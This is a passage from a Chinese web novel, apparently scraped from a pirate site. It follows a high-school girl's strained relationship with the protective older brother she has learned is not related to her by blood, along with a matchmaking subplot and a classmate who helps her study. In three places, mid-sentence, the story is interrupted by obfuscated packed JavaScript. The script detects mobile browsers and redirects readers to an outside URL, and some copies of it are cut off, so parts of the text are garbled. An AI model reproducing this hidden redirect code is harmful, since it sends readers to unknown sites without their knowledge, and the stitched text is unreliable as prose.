她没有把话说全,定定站在玄关看着他,试图解读他这番行为的出发点。 是出于哥哥保护妹妹的本能? 还是出于家长反对早恋的态度? 黎宴琛把西装外套脱了,伸手松了松领带结,头也不回地往客厅走。 “需要我提醒你还有多少天高考吗?” 黎予礼刚换上拖鞋,听到哥哥的话后回想了一下贴在班级正前方的那个倒计时牌上显示着什么数字。 可惜那个在她眼里和其他装饰物无异的东西,从第365天开始倒数之时,她就没再留意过。 她下意识顶嘴:“需要我提醒你帮我请了七天假在家休息的人是谁吗?” 黎宴琛随手将西服外套扔到沙发上,单手撑腰的动作让他身上的马甲变得不再服帖,衬衫也被臂膀肌肉撑得毫无褶皱。 “我担心你学习压力太大,想让你在家放松调整,你要是觉得不够可以跟我说,犯不着用那样的方式……” “什么方式?”黎予礼冷笑着打断他,“你觉得我和徐寅安不是普通同学关系吗?” 在听到陌生名字从妹妹口中说出来时,黎宴琛眉间明显一皱,继而抬手扯开领带。 仿佛是这个结系得他喘不过气一般。 “我不希望你在这个紧要关头犯错,你有任何困难都可以跟哥哥说……” “哥哥,”黎予礼再度打断他,轻声重复他话里这个荒谬的称谓,“你告诉我怎样算犯错。” 黎宴琛微微眯起眼,妹妹的语气有些反常,可他竟看不出她心里在想什么。 “和喜欢我的男同学来往?” “答应他的表白?” “在学校早恋?” “牵手?拥抱?接吻?做……” “黎予礼。” 他厉声打断了她口无遮拦的胡话。 “怎么,这就是你口中的犯错?”黎予礼难得不惧怕他的愤怒。 看到他因压抑情绪而喘息得颤抖的胸膛,她竟觉出有些痛快。 原来黎宴琛还有这样的一面。 “你是不是在学校遇到了什么不开心的事?”黎宴琛强行缓住呼吸,语气平静得可怕。 都气成这样了,还想着关心她。 真是伪装久了把自己都骗过去了。 黎予礼突然觉得恶心,第一次在黎宴琛的目光里撒了谎:“没有啊,我在学校挺开心的。” 这话真假参半吧。 她虽然不喜欢学习,但那里没人敢管她。 开心也是应该的。 黎宴琛轻易识破了她,可却不知谎言下所掩盖的是什么。 最终在这场无声的对视博弈里败下阵。 “去休息吧,明早我先去一趟公司,小姨大概十一点左右出院,你可以多睡一会儿。” 他说完便拿起沙发上的外套回了房间。 明明作出忍让的是黎宴琛,可黎予礼却倍感挫败。 她一晚上都没睡好。 天将蒙蒙亮时,黎予礼听到房间门外传来极其细微的声响。 她顶着惺忪睡眼爬起来,打开门看见晨练回来的黎宴琛正站在餐桌边喝水。 他身上仅一套单薄运动装,细密的汗珠顺着颈部线条滑落。 “我吵醒你了?”他放下水杯。 黎予礼摇摇头,望了一眼墙上挂着的钟表。 六点三十分。 比她平时上学起床时间还早了半个点。 难怪她从不知道哥哥有晨练的习惯,两个人压根没在这个时间点打过照面。 “你要现在吃早餐吗?”黎宴琛给她倒了一杯温水。 这个点家政阿姨还没到,黎予礼也没什么胃口,捧着水杯摇头。 黎宴琛再三确认:“你有哪里不舒服吗?” “……能不能盼我点好?”也许是起床气未消,黎予礼有些不耐烦。 “那没什么事的话我就回房间了。” 她没有接话。 直到微弱的淋浴水声从哥哥房间内传出她才反应过来,黎宴琛是担心自己在洗澡的时候不能及时回应她。 “咸吃萝卜淡操心……”她坐在沙发上喃喃自语。 倦意很快再度来临。 等黎宴琛洗完澡出来,黎予礼已经蜷在沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855436|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发上睡着了。 家里虽然开着全屋暖气,但当哥的总归会担心妹妹不盖被子睡觉容易着凉生病。 他用毛巾将发梢的水珠擦干,以免俯身将她抱起时有水滴落到她皮肤上。 这不是他第一次抱黎予礼。 小时候妹妹总是缠着他,说要柜子上的玩具、要树上的枝叶、要天上的星星。 要黎宴琛将她抱起。 好像只要和哥哥一样高,就能够到这个世界上所有东西。 可惜两年前她的身高就停在了165cm,在189cm的哥哥怀里还像个小孩子一样。 她睡得不沉,黎宴琛把她放到床上时,梦里忽然有巨大的失重感迫使她跌回现实。 黎予礼猛地一颤,下意识伸手一抓,攥住了黎宴琛的衣领。 他险些重心不稳将她压倒在床,好在反应迅速,伸手撑在了床边。 黎予礼还一副惊魂未定的模样,看到眼前是哥哥熟悉的脸,她长舒一口气,干脆借力靠着他的肩。 “……吓死我了。” “你再睡会儿吧,我晚点从公司回来接你。” 黎宴琛一边说一边扶着她的上半身,像安置病人那样小心翼翼让她躺下。 “哎呀我睡不着了。” 大早上一连惊醒两次,这个回笼觉怕是难以睡得安稳。 “你把我一起带去公司吧,省得你来回跑。” 黎宴琛抿唇不语。 他并不认为这是一个很好的提议。 可最终他还是向妹妹妥协,将人带去了公司,暂时交给秘书帮忙照顾。 黎予礼真想对着黎宴琛离开的背影比个中指。 她都十八岁了,怎么还把她当成小孩子? 秘书给她倒了杯水,说:“黎小姐,您要是有什么需要尽管叫我。” “姐姐,你没有其他工作要忙吗?” “目前最重要的工作是照顾黎小姐您。” 黎予礼尴尬地笑了笑:“我哥的助理呢?就那个戴圆眼镜的。” “您是希望黎总的助理来照顾您吗?如果是的话我可以去跟黎总说一声。”秘书的脸上始终挂着礼貌性微笑。 “……不用了谢谢。”她最希望的是没人管着她。 本以为按照黎宴琛的忙碌程度,她来了公司能够想干什么就干什么。 哪知道他会手动派一个防沉迷管家给她。 失策。 她无聊得把休息室里的盆栽都玩弄了一遍。 秘书看出来她无事可做,问:“黎小姐,如果您愿意的话我可以带您去参观一下公司。” 当然愿意。 傻子才会在这个休息室里干等几小时。 黎予礼跟在秘书身后,把公司大大小小的部门都逛了个遍。 什么人事部、市场部、销售部她一个也记不住。 要不是看在她“狐假虎威”跟着秘书能享受员工们点头问好的待遇,她早叫停这项没有意义的活动了。 “这里是公司前台,如果黎小姐以后有什么事自己来找黎总的话,可以在此出示身份证说明来意,前台会帮忙联系。” 秘书仍尽职尽责向她一一介绍,可她早已无心去听。 不远处的电梯间传出“叮咚”的开门提示音。 她的注意力瞬间被吸引。 一名知性优雅的女人款步走来,和她鞋跟与地面碰撞发出的声响一同引人耳目。 黎予礼直觉这个人地位不简单。 女人身着的毛呢外套看上去价值不菲,挎在肩部的小包LOGO醒目。 她目不斜视,直奔前台,仿佛黎予礼和秘书都是空气一般。 “您好,我找宴琛。” 5. 误会 前台愣了一秒,正想向女人询问是否携带了身份证件,秘书便走上前对她说:“您好,我是黎总的秘书,请问您是?” 女人面带微笑,转身看向秘书:“我是他朋友,待会儿要陪他一起去医院接人。” 朋友?陪他?接人? 黎予礼闻言挑了挑眉。 从来没听哥哥说过他有个这么漂亮的朋友。 女性朋友。 秘书见这位声称是黎总朋友的女人始终不肯自我介绍,只好尴尬地回:“小姐,您先在这边稍作休息,黎总还在忙……” 话音未落便被女人打断:“你告诉他我在这儿他就不忙了。” “嘶。”站在一旁的黎予礼没忍住倒吸了一口气。 这屁点大动静还吸引了女人的注意力,她看着黎予礼问:“这位是?” 不等秘书介绍,黎予礼当着女人的面掏出手机,一边拨号一边回答她:“是能帮你把黎宴琛叫来的人。” 女人带着疑惑的眼神看向秘书,黎予礼手机里的回铃音已被人声切断。 “喂。” 黎宴琛的声音被电磁波变得更为低沉, 即使不开免提,处于较为安静的环境里,在场的人也能依稀辨认手机里传出的声音。 “喂,”黎予礼语气懒散,“你朋友找你。” “谁?” “一个漂亮姐姐,在前台呢。” 她下意识看了一眼女人,也许是担心自己的称呼略有冒犯。 黎宴琛在电话那头顿了顿,说:“等我五分钟。” “等他五分钟。”黎予礼把电话挂断,复述她哥的话语。 她清楚自己在通话里对女人的描述远不够详细,可黎宴琛却能准确分辨她所提及的人是谁。 看来女人不是第一次来公司找他。 或者说,女人和他的关系并不是普通朋友那么简单。 黎宴琛一贯守时,五分钟未到,他就踏着皮鞋走向公司前台。 风衣外套搭在支起的小臂上,身上的西装还是一如既往地板正。 黎予礼正用手指轻轻戳弄放在前台上的小摆件,转头就看见女人热切地迎上去打招呼:“宴琛。” “你来这干什么?”黎宴琛的语气称不上友善。 黎予礼看似抿唇回避,实则竖起耳朵认真听,甚至凑到秘书旁边耳语:“我哥有情况?” 秘书直摇头。 女人笑眼弯弯:“来陪你一起去接小姨,我还买了两箱车厘子,一箱给小姨,一箱你拿回去。” 小姨? 黎予礼惊了。 这姐姐到底是他们的亲戚,还是她跟黎宴琛已经到了能够共同称呼双方长辈的关系? “不用,”黎宴琛冷言回绝,“出院而已,小姨应该也不希望大动干戈。” 女人还想说些什么,他干脆移开视线,朝趴在前台玩摆件的黎予礼招了招手:“予礼,走吧。” “啊?”她一愣,掏出手机看了眼时间,“现在过去吗?” 黎宴琛看上去只想快速逃离眼下情形,扬开手上风衣披在西服外,朝秘书使了个眼神。 秘书秒懂,上前引导女人离开。 黎予礼仍是一副对前台桌面摆件爱不释手的样子,盯着秘书和女人的背影。 “喜欢的话就拿回家。”黎宴琛单手整理着衣袖。 她知道她哥这话是在委婉催促她,闷声摇头道:“我又不是小孩子。” 看到喜欢的玩具就要抱回家。 她咽下了后半句话,可黎宴琛却一副看穿她的模样:“拿着吧。” 前台十分有眼力见,在黎予礼犹豫不决时把这颗粉色的桃子摆件拿起来递给她。 “谢谢。”她笑着接过,心满意足地跟上黎宴琛的脚步。 搭乘专用电梯下至停车场,黎予礼还试图寻找女人的踪迹。 前后不过五分钟,应该没走远才对。 “你在找什么?”黎宴琛摁下车钥匙解锁键,不远处的宾利车转向灯感应闪烁。 她不知为何有些心虚,摇了摇头:“没什么。” 一坐进车里,她猛然想起女人刚才说自己买了两箱车厘子。 真是可惜,要是黎宴琛没赶人家走,说不定她现在已经吃上了。 “那个,”黎予礼在平缓发动的车厢里斟酌半晌,还是忍不住疑问,“她是谁呀?” 前方正好是红灯,黎宴琛缓踩刹车。 目光始终朝前,答道:“陆伯伯的女儿。” “陆伯伯?”黎予礼哪记得住。 “外婆出殡那天送过花篮的。” “哦。”还是不记得。 当时黎予礼光顾着哭了,哪会注意花篮悼词署名。 “那你跟她……” “不熟。” 黎予礼话还没问完,就被黎宴琛开口打断。 “……谁问你这个了。”她语气里略显不悦。 黎宴琛转头看了她一眼,视线又移回道路上,神情严肃:“小姨介绍的,我不好在人住院的时候回绝。” “你跟我说这些干嘛?”黎予礼没好气道,偏头看向车窗外。 手里攥着从他公司里顺出来的桃子摆件,圆润的桃尖在她掌心硌出一个小小的凹坑。 黎宴琛余光发现她指节泛白,空出一只手去掰开她的用力过度的手指。 “怕你误会。”他轻轻吐出四个字。 “误会什么?”她拍掉他多管闲事的手。 他用缄默代替了回答。 黎予礼最看不惯他这副模样,非要从他嘴里撬出什么才肯罢休。 “要真是我误会的那样不好吗?” “你说什么?” 开车不能分心,黎宴琛始终目视前方,眉宇间的褶皱却十分明显。 “那个姐姐人长得漂亮,穿得也时尚,声音又好听,还会买车厘子……” 她掰着手指头一件一件数别人的优点,低垂的视线里是自己身上极为学生气的衣装。 “你想吃我待会儿去买。”黎宴琛瞥了一眼她翘起的小拇指。 她用鼻息吐出不满的声音:“什么啊,你别扯开话题。” 车速在她叽里咕噜的话语间逐渐加快。 “那小姨肯定是觉得合适才介绍给你的,而且你多大啦?”她又伸出手指头算数,“十八加七你都二十五了,从我出生到现在就没见你谈过恋爱,你想单身一辈子啊?” 黎宴琛缓慢加重踩油门的力度。 “你早该找个女朋友了,省得你一天到晚咸吃萝卜淡操心就知道管我——” 话音未落,车轮猛地向路边拐,刹车急停。 黎予礼第一次在黎宴琛的车上体会到惯性前倾有多难受。 “喂!”她被迫下意识用手撑在副驾驶中控台上,“我说得不对吗?” 黎宴琛双手紧握方向盘,偏过头看着她,紧抿的双唇里似有隐隐较劲的力度。 他快把后槽牙咬碎了,也没对黎予礼说一句重话。 “这是你希望的吗?” “对啊。” 她毫不犹豫地给出肯定答案。 甚至无视哥哥怒得发红的眼眶,自顾自地补充了一番:“你放心,虽然我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15855437|175906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平时就爱跟你顶嘴,但你要是给我找个漂亮嫂子我肯定会乖乖听话的。” 她一边说一边把手里捏着的桃子摆件放到仪表台上。 “不过我个人建议你最好是一谈恋爱就搬出去,毕竟谁也不想在自己家里当电灯泡。” 这算盘打得够响,她丝毫不担心黎宴琛听出她的言下之意。 可惜她哥却曲解了她:“你是因为我插手你和那位同学的事情所以故意这么说的吗?” “什么?这跟徐寅安有什么关系?” 黎予礼看着他因愠怒而明显起伏的胸膛,原本平整压在马甲里的领带也随之移动。 第二次听到这个陌生名字从妹妹口中说出,黎宴琛烦躁地抬手覆在额前,无名指和拇指各按着两边太阳穴。 似是想用过重的力度逼迫自己清醒。 他很快缓住波动的情绪,就此逃避这个话题,再次发动轿车。 又是这样。 永远用沉默解决问题。 黎予礼冷哼的音节被引擎声盖过,她将视线移向车窗外,不再看黎宴琛。 车子一路开到医院,他们都没再对对方说过一句话。 小姨坐着轮椅,被小姨父从住院部推到地面停车场。 黎予礼一下车就小跑过去,挥手喊:“小姨!” 黎蓝瑛唇色泛白,声音也提不起来:“予礼你也来啦。” “小姨父好,”她甜声问好,又俯身对黎蓝瑛撒娇,“小姨你住院都不告诉我,不然我天天来看你。” “这不是怕影响你学习嘛。”黎蓝瑛拉过她的手,手指拨开她腕上花里胡哨的手串,指腹轻轻摩挲那条细红绳。 黎予礼假装不乐意:“小姨就不怕我担心你啊?” “怕怕怕,”黎蓝瑛顺着她的话,“今天不上课呀?” “请假啦,接小姨出院可比我学习重要。” “你啊,”黎蓝瑛拍了拍她的手背,“就你嘴甜。” 黎宴琛从后备箱里拎了一箱水果和一箱补品走过来,稳重的样子与黎予礼大相径庭。 “小姨,小姨父。” “宴琛太客气了,你小姨那些老板朋友送的东西堆在家里到明年都吃不完。” “一点心意而已,总不好空手来。” 黎蓝瑛一听这话,故意冷下脸:“有什么不好?我是你亲小姨,用得着这么客气吗?” “小姨让你们来是为了一起回家吃餐饭的,下次带张嘴来就行。”小姨父伸手拍了拍黎宴琛的肩膀。 黎予礼从不讲究这些,直白表达有大餐吃的喜悦。 “小姨小姨,我想吃上次去你那儿阿姨给做的蜜桃派可以吗?” “可以,我让阿姨给你做,管够。” 小姨父的车停在黎宴琛的宾利不远处,车门解锁的咔哒声传来,黎予礼立马粘着黎蓝瑛不走了。 “小姨我要坐你家的车。”她故意拔高撒娇的语调,生怕黎宴琛没听到。 小姨父打开后备箱,把黎宴琛拎着的两箱东西塞进去。 黎蓝瑛的目光在兄妹俩身上流转,笑着答应:“好,你排小姨坐。” 黎予礼皱了皱鼻子,帮着小姨父把黎蓝瑛扶上车。 全程没有看黎宴琛一眼。 小姨父收好轮椅,眼神示意黎宴琛跟着他开,这才上了驾驶座发动汽车。 黎予礼坐在车后排,视线不由自主地望向中央后视镜里那辆紧随他们之后的黑色宾利。 她无法在这样的距离里看清驾驶者的面部表情。 几乎走神之际,她听见黎蓝瑛小声问她:“和哥哥吵架啦?” 6. 噩梦 哥哥。 黎予礼心说他才不是我哥哥。 直觉告诉她小姨一定知道些什么,可疑问的话到了嘴边,又因黎蓝瑛略显憔悴的气色而咽下。 她不能在这个节骨眼闹事。 妈妈爸爸离世后,丁克的小姨几乎视他们兄妹俩为己出。 就算黎蓝瑛知情,她也不该对她有所埋怨。 “没有,”黎予礼扯出一抹笑,“我跟他哪吵得起来。” 就黎宴琛那个性格,她想吵也没机会。 黎蓝瑛不知道兄妹俩之间发生了什么事,把黎予礼的手牵过来,一手掌心托着,一手轻拍她手背。 “兄妹哪有隔夜仇,你们俩可得给我好好的。” 小姨父开着车,听到这话不禁皱眉。 黎予礼更是尴尬,歪着嘴角提醒:“小姨,这句话的主语是夫妻不是兄妹。” “哎哟,是吗?”黎蓝瑛惊讶。 “你小姨病糊涂了。”小姨父开玩笑道。 可惜他俩不是兄妹也不是夫妻,黎予礼这次铁了心要和黎宴琛冷战下去。 在小姨家的圆形餐桌上吃饭,她故意坐在离黎宴琛最远的位置。 黎蓝瑛为了缓解兄妹俩之间的尴尬气氛,没话找话道:“宴琛,我听你陆伯伯说,羽佳今天去找你了,怎么没见你带她一起来呀?” 黎予礼刚夹起一块牛腩塞进嘴里,听到小姨的话立马竖起耳朵,咬着筷子留意。 “不方便。”黎宴琛抬眼看向妹妹。 她的一举一动都被他尽收眼底。 黎予礼撇了撇嘴,心说哪里不方便,举着筷子伸向面前那盘清蒸鲈鱼,又担心夹到带刺的肉,犹豫不决挑挑拣拣。 “羽佳是个好女孩,我跟你陆伯伯交情不错,如果你们将来……” “没有如果。” 黎宴琛向来礼貌,很少轻易打断别人,更何况黎蓝瑛是他的长辈。 如此坚决的话一出,桌上三人皆一愣,只有他还面不改色地用筷子将鲈鱼身上的刺挑出,再伸长手臂把干净的鱼肉夹到黎予礼碗里。 黎予礼躲开的这点距离对他来说不算什么。 “宴琛你是,不喜欢她吗?”黎蓝瑛有些尴尬,“我以为你们俩相处得挺好的。” 相处? 黎予礼用筷子戳着碗里的鱼肉,她不知道哥哥都和谁来往过。 看来黎宴琛瞒着她的事情不止一件。 “我没有和她相处过,”黎宴琛语气平淡,“只在小姨您介绍的时候见过一次面。” 原来今天在公司是他们第二次见面。 黎予礼倒吸了一口凉气。 “宴琛不愿意的话我们就别瞎点鸳鸯谱了。”小姨父憨笑着打圆场。 黎蓝瑛叹了口气:“我没有这个意思,是陆闽华那家伙非逼着他女儿嫁人。那我这不是想着两家人都认识,我们宴琛条件又好,介绍给羽佳说不定能双喜临门。” 小姨父担心她越说越激动,抬手轻抚她的背。 “是我考虑不周,好心办了坏事,对不起啊宴琛。”黎蓝瑛把手搭在黎宴琛小臂上。 他摇了摇头:“没关系,小姨也是一番好意,不必自责。” 整张饭桌上只有黎予礼心里一阵鸡皮疙瘩,以前搞不懂他们一家人为什么说两家话,客气得令人头皮发麻。 但她现在懂了。 因为她不是这个家的人。 “予礼,”黎蓝瑛话锋一转,“你放心,小姨绝对不会让你像羽佳这样为难。” 突如其来的承诺让她摸不着头脑。 “以后无论你喜欢谁,小姨都支持你!” “对,予礼,小姨父也支持。” 黎予礼扯了扯嘴角,颊廊里藏着尴尬,学着他们的客套模样,脆生生地说着谢谢。 心里却难忍哼笑。 能不支持吗? 她压根就不是他们的外甥女。 就是嫁给鸡、嫁给狗、嫁给黄毛或老头,他们也不会在意。 * 吃完饭,黎予礼开始后悔自己在医院的时候说自己要吃蜜桃派。 不是吃不下。 是阿姨多做了一份给她。 甚至打包好了方便她带走,让她不好再撒泼打滚说要留宿小姨家。 黎宴琛看出了她的不情愿,掏出手机假装看了眼日程安排,“小姨,我明天可能会忙到凌晨,可以麻烦您和小姨父帮我照顾予礼吗?周六我再接她回去。” 他突兀的话语完全在黎予礼的意料之外。 黎蓝瑛正想开口答应,她立马接过阿姨拎着的保温袋子,一边摆手一边说:“不麻烦啦,小姨你刚出院要好好休息,我自己在家可以照顾自己的!” 她装出乖巧听话懂事的模样,把脑袋伸过去让小姨摸摸头。 她并不是不愿和黎宴琛待在一起。 只是单纯想和他对着干。 小姨家的门刚关上,黎予礼就卸下了伪装。 她在黎宴琛面前不需要装模作样。 黎宴琛本能地想伸手替她拿东西,却被她偏身躲开。 手尴尬地僵在半空,他沉默地收回。 他知道黎予礼不开心。 可他不知道该怎么哄她开心。 妹妹的脾气是被他惯出来的,古怪又任性。 毕竟是被他捧在手心里带大的,对任何事情都可以毫无顾虑。 他私以为给妹妹建造了温室花房,把她养成了饭来张口、衣来伸手的金丝雀。 可却不知道长了翅膀的鸟儿终究要飞。 他不相信黎予礼不需要他。 他不接受黎予礼不需要他。 蜜桃派的味道从保温袋里飘散而出,和本就在车厢里放着的桃子味车载香薰混合到一起。 黎宴琛的呼吸缓慢放轻,他没有立刻发动车子,而是转头看向黎予礼。 柔声唤她:“予礼。” 求和的话未到嘴边,黎予礼干脆闭上了眼,双臂环在胸前,头歪向车窗那边。 黎宴琛知道她这是拒绝交谈的意思,生硬咽下的话好像坠入了胸腔,砸得心脏闷疼。 他刻意控制声响,将车开出了地下库。 出风口吹出的暖气带来困意,黎予礼很快靠着车窗睡去。 车子在行驶时产生的低频白噪音和车身匀速的轻微震动形成了类似“摇篮效应”的规律刺激。 黎宴琛稳稳地托着她的梦境。 小时候她最喜欢黏着哥哥。 七岁之后不敢一个人睡,一到晚上她便会抱着自己的枕头去找黎宴琛,觉都没睡就说自己做噩梦了。 尽管外婆说会陪她睡,可她还是赖在哥哥的房间不走。 黎宴琛只好把床让给她,并在自己的床边打地铺,方便他伸一只手给黎予礼抱着。 手掌纹路好似随着时间慢慢变深,生命线上有了妹妹的体温。 腕处的红绳,依旧紧紧缠绕着他们。 黎予礼不爱学习这件事可能是天生的,上了小学二年级写字还七歪八扭,写过笔画最多的字大概是自己的姓氏。 她偶尔会梦到妈妈在天堂给她写信,于是她醒来后想写一封回信,提笔却不知该写些什么。 嫌弃纸太薄,嫌弃字太丑。 她最终把便签揉成团扔进了纸篓。 小孩子思维太过活跃,她一会儿被窗外的鸟儿吸引,下一秒又看向了墙上的日历。 下周二是黎宴琛的生日。 她握笔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个点才洗澡,估计他前面是在忙工作。 没意思。 黎予礼在他房间里转了一圈,正准备溜之大吉,还不等她走到门边,浴室里的水声骤然停止。 房间主人在下一秒拉开了玻璃门,她这个不速之客被抓了个现形。 眼前景象对黎予礼来说冲击太大,她连忙捂着嘴转身,整个人几乎贴着房门站立。 黎宴琛不知道妹妹会在这个点出现在他房间里,尴尬地回浴室扯了条毛巾,再在某人“面壁思过”的时间里快速从衣柜里拿了一套睡衣换上。 黎予礼脑袋抵着门,紧闭双眼,耳朵仔细分辨身后响动。 “你……” “换好了。” 黎宴琛的发梢上还挂着未干的水珠,顺着脖颈线条流进衣物里。 神情看上去仍是正人君子。 黎予礼自知理亏,却不知是羞愧还是害臊,脸红到了耳根。 即使她转过身也仍低着头。 “怎么了?”黎宴琛以为她有什么很重要的事情,非要在这个时间点来找他。 她脑海里难以抹去方才看到的画面,咽了咽口水,试图在众多借口中找到一个能够让哥哥信服的答案。 可她抬头看到黎宴琛的眼睛又说不出谎话来。 最后在哥哥盯得她浑身发热的视线里支支吾吾开口: “我做噩梦了。” 7. 笔记 黎宴琛好像从来不会质疑妹妹所言的真实性。 他顿了顿,沉默地让出自己的床,去隔壁储物间拿来了折叠床垫,又帮黎予礼把她的枕头和被子搬过来。 “……还以为你会赶我回去。”黎予礼坐在床上,抱着枕头。 心里莫名有鸠占鹊巢的心虚。 黎宴琛铺好地铺,跪坐在床边,抬眼看她时一句话也没说。 她呆呆地俯视着哥哥,两人交错的目光里好似纠缠着什么。 “睡吧。”他率先收回了视线,伸手把主灯开关关闭。 给黎予礼留了一盏床头夜灯。 黎宴琛房间里的香薰是淡淡的桃子味,清甜好闻,趁着夜色悄悄飘进她的梦里。 她梦到哥哥像以前那样把一只手伸到床上给她抱着,但这只手远比从前的宽厚有力。 筋络虬结、掌纹明显、体温偏高。 触感真实得不像梦境,她不自觉将他的手垫在脑袋下,用脸蛋感受手掌的余温。 好像只要她不松手,他就还是她的哥哥。 不过梦境没有朝预想之中发展恶变,黎予礼安稳地睡到了天明。红色的光斑在她眼皮上跳动,先于闹铃将她唤醒。 迷蒙睁开的视线里,她看到黎宴琛坐在床边看着她。 她下意识嘟囔了一句“跟瘟神似的”,坐起来才发现黎宴琛的手被自己紧紧攥着,瞬间清醒地同时慌乱地抹了抹嘴边。 生怕自己睡觉流口水流到他手里。 好在黎宴琛没说什么,轻轻收回手,看上去早就醒了的样子:“今天我送你去学校。” “为什么?”黎予礼刚睡醒,提问不过脑子,看到哥哥身上的睡衣才反应过来,“……你醒了之后就一直坐在旁边吗?” 黎宴琛答非所问:“你准备好了叫我。” “……”她强忍住拿枕头砸人的冲动。 原本耽误黎宴琛晨练的愧疚都被他这态度冲散了。 也不知道还要在这个家里憋屈多久,黎予礼一边腹诽一边拎起书包,发现它比往常重了不少。 拉开拉链看到里面放着一个装满车厘子的乐扣乐扣保鲜盒。 算了。暂且憋屈着吧。 她抱着书包坐进宾利车里时,黎宴琛正在驾驶座打电话。出于不偷听、不打扰的良好品德,她决定靠着车窗补一会儿觉。 睡肯定是没睡着,偏偏在黎宴琛伸手替她系安全带时睁开眼。 换作是以前,黎予礼并不会觉得哥哥这样的举动有何不妥。 但现在黎宴琛对她来说无异于一起生活了18年的陌生男人,她难以不戒备。 下意识后缩的反应太过明显,连黎宴琛都随之一愣。 “……吓我一跳。”她尴尬找补道。 他看上去接受了这个说法,安全带“咔哒”一声扣好,他坐正身体发动汽车。 黎予礼怀里还抱着书包,手指隔着布料摸到塑料盒的方方角角。 很硬,很膈应。 或许她应该逃离。 恰好语文老师在莫名其妙的试卷讲评课上煲鸡汤,说学习不是唯一的出路,但学习可以让你有更好的出路。 对于曾经的黎予礼来说,家里铺的路就是最好的路。 对于现在的黎予礼来说,离开家的路才是最好的路。 她破天荒开始认真听讲,打瞌睡的同桌都稀奇得不困了。 “梨子你要发奋图强了?” “……算是吧。” 距离高考还有165天,用“亡羊补牢”来形容她远比“发奋图强”合适。 同桌从塞满的抽屉里掏出一张皱巴巴的卷子说:“那我也努力一下吧。” 黎予礼瞥了一眼,看到同桌天天睡觉随便考的成绩都比她高三分。 她心里有些不平衡,语文老师的讲课声在她脑子里逐渐变成噪音,真搞不懂那群成绩好的人平时是怎么学习的。 搞不懂为什么会有人手都脱臼了还坚持来学校。 黎予礼的视线不自觉往坐在教室正前方的徐寅安身上移,发现他的三角巾悬吊包扎仍未拆下。 其实她对徐寅安没什么特别的印象,除了同班之外两个人交集不多。 她不知道徐寅安为什么会喜欢她。 但她知道徐寅安成绩很好。 虽然黎宴琛说他作为她的同龄人,借复习笔记的方式对她的学习毫无用处,但起码她知道徐寅安愿意给她提供帮助。 说不定能够利用他的喜欢…… 黎予礼当即打消了这个念头,她还不至于为了一点分数做这么缺德的事情。 不过和徐寅安拉近关系总归利大于弊。 她琢磨了半节课该找什么借口去和徐寅安聊一聊,下课铃响时她才想起自己书包里的车厘子还没吃。 借花献佛吧。 黎予礼拿着保鲜盒走到徐寅安座位旁边。 “给你了。”她突兀开口,居高临下地看着他,把车厘子递出去的动作颇有施舍流浪汉的姿态。 徐寅安有些呆愣,仰头看她:“为,为什么突然……?” 她顺势在就近空位坐下:“我哥买的。” “……你哥?”他依旧一脸疑惑。 黎予礼想起那天晚上黎宴琛一副凶神恶煞的模样拦下他,多半给人留下了不好的印象。 她只好硬着头皮挽回哥哥形象:“其实他人很好的,买了很多特意让我拿来分给同学。” 一句话都没有。 黎予礼睁眼说瞎话。 徐寅安不疑有他:“那这些你都给我了吗?其他人呢?” “其他人不重要。”黎予礼摆摆手。 她哪知道说者无心听者有意,一心只想着借复习笔记:“对了,那天晚上你要给我什么来着?” 徐寅安不知为何红了耳根,结结巴巴地翻找着:“你,你等等,等我找找。” “不着急,”黎予礼顺手把乐扣乐扣的盖子打开,“你的手怎么样了?” 其实她就是没话找话,远算不上关心。 但徐寅安明显曲解了她:“谢谢,还在恢复。” 谢什么? 黎予礼扯了扯嘴角。 心想你们成绩好的人都这么客套。 “找到了,”徐寅安从一摞练习册里抽出一本封面简单的笔记递给她,“我把你请假那周的各科讲评重点记了记,你看看有没有用处。” 黎予礼随意翻了翻,密密麻麻的工整小字像蚂蚁大军入侵她的视线。 头好晕,她合上笔记本。 “有什么不懂的可以问我。”徐寅安见她不说话,主动开口。 她闻言冲他打了个响指:“就等你这句话。” 心情好了,头也不晕了,黎予礼抱着笔记本站起身,笑眼弯弯,走之前不忘轻敲徐寅安的桌面。 “车厘子记得吃,早日康复。” 黎予礼拿着她的“学习宝典”回到座位上,八卦的同桌立马凑上来问:“你找学委啥事儿?” “没什么。”她把笔记本塞进抽屉。 “我都看到了!” “看到了还问?” 一句反问把同桌堵得语塞,她可没工夫再和他们鬼混了,什么八卦闲聊最好离她远点儿。 以前不管成绩怎样,她总觉得黎宴琛能给她兜底。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这几天为了搞懂几道题,和徐寅安频繁来往,倒是意外拉近了两个人的关系。 “一起走吗?”下了晚修,她走到徐寅安座位旁。 反正他俩都是走读生,从教学楼到校门口的路可以顺道一起。 “好,”徐寅安快速收拾好书包,“这个给你。” 